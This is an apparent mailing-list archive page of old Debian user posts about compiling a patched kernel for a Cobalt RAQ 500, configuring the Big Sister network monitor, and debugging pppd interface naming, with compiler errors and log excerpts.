Re: Kernel patching + compilation for Cobalt RAQ 500....

2004-03-08 Thread Max Lock

 Hi Johnathan,

 I'm confused, are You trying to install a debain patch on a vanilla
 kernel or the other way round? I cannot find a cobalt patch with my
 woody package list, so it's not in the current stable distribution?
 Anyway, debian kernel packages are usually somehow patched and You
 might run into trouble, once You use a vanilla kernel source against a
 debian patch or the other way round.
 Switch both to debian packages (recommended) or the other way round.

 I'm using the testing distribution to compile the kernel upon. There is
no Debian kernel source package for 2.4.23 so it's a vanilla unpatched
kernel source, but the patch package only supports kernel 2.4.23?!

 I think I'll have to contact the patch maintainer...

 -Cheers Max.

Kernel patching + compilation for Cobalt RAQ 500....

2004-03-05 Thread Max Lock

 Hi Folks,

 Has anyone recently built a kernel for the i386 based Cobalt RAQ500?

 I'm trying to get debian up and running on two of these units, and I
really want to use a 'proper' debian package to install the kernel from.
I've installed the 2.4.23 kernel source (no package available for this)
and the kernel-patch-2.4-cobalt package. 

 I tried running /usr/src/kernel-patches/all/apply whilst in
/usr/src/linux-2.4.23 but that fails, so I tried manually applying
/usr/src/kernel-patches/all/cobalt/cobalt-2.4.23.patch.gz after
uncompressing it and it seems to apply fine apart from failing to patch
one of the bluetooth drivers.

 The real problem occurs when I try to compile the kernel...

ruler.c:50: error: syntax error before '*' token
ruler.c:50: warning: type defaults to `int' in declaration of `busprocs'
ruler.c:50: warning: data definition has no type or storage class
ruler.c: In function `do_busproc':
ruler.c:128: error: called object is not a function
ruler.c: In function `cobalt_ruler_register':
ruler.c:309: warning: assignment from incompatible pointer type
ruler.c:310: warning: assignment from incompatible pointer type
ruler.c: In function `cobalt_ruler_unregister':
ruler.c:347: warning: assignment from incompatible pointer type

 then it dies :(

 Has anyone managed to compile with this patch? should I raise a bug
report?

 -Cheers Max.

Big Sister, network monitor.....

2003-06-18 Thread Max Lock

 Hi folks,

 I'm trying to get `big sister' working on Debian stable.

 I've aliened the RPM's to .deb's and installed OK, but now I'm having problems 
creating a display_map.cfg that works. All the images referenced are there and have 
read permissions.

 display_map.cfg:

template/var/lib/bigsister/www/westberksmap.gif
red /var/lib/bigsister/www/skins/static_lamps/red.gif
yellow  /var/lib/bigsister/www/skins/static_lamps/yellow.gif

purple  /var/lib/bigsister/www/skins/static_lamps/purple.gif
at  10,10   HUNGERFORD
dump/var/lib/bigsister/www/map.gif

 Has anyone got big sister working on Debian in this way? are the paths that big 
sister expects somehow mangled?

 -Thanks Max.

 Hi there,

 Very simple thanks to the Debian Developers, whom I regularly
worship...

 1, add the following to /etc/apt/sources.list:

deb http://people.debian.org/~bunk/debian potato main

 2, run apt-get update
 3, run apt-get dist-upgrade
 4, install your 2.4 kernel
 5, scoff at how cool Debian is :)

 run something like

 this will send it all to localhost port 25 and postfix will process

 Well I'm talking to a very sophisticated piece of radio gear that has a
control/monitoring system that uses ppp. I'm building a bridge machine
that will forward the packets from the radios, based at remote sites,
over our network back to a central point.

 Using things like pppconfig obfusicates the issue IMHO. :)

  /var/log/messages:
 
  pppd 2.3.11 started by root, UID 0
  Using interface ppp8   --- shouldn't this be ppp0
  Connect: ppp8 -- /dev/ttyS1
  modprobe: Can't locate module ppp8
  ioctl(SIOCSIFMTU): No such device(19)
  tcflush failed: Input/output error
  Exit.
 
   Has anyone hit this problem before? my ppp support is compiled into
  kernel 2.2.17 as a module.
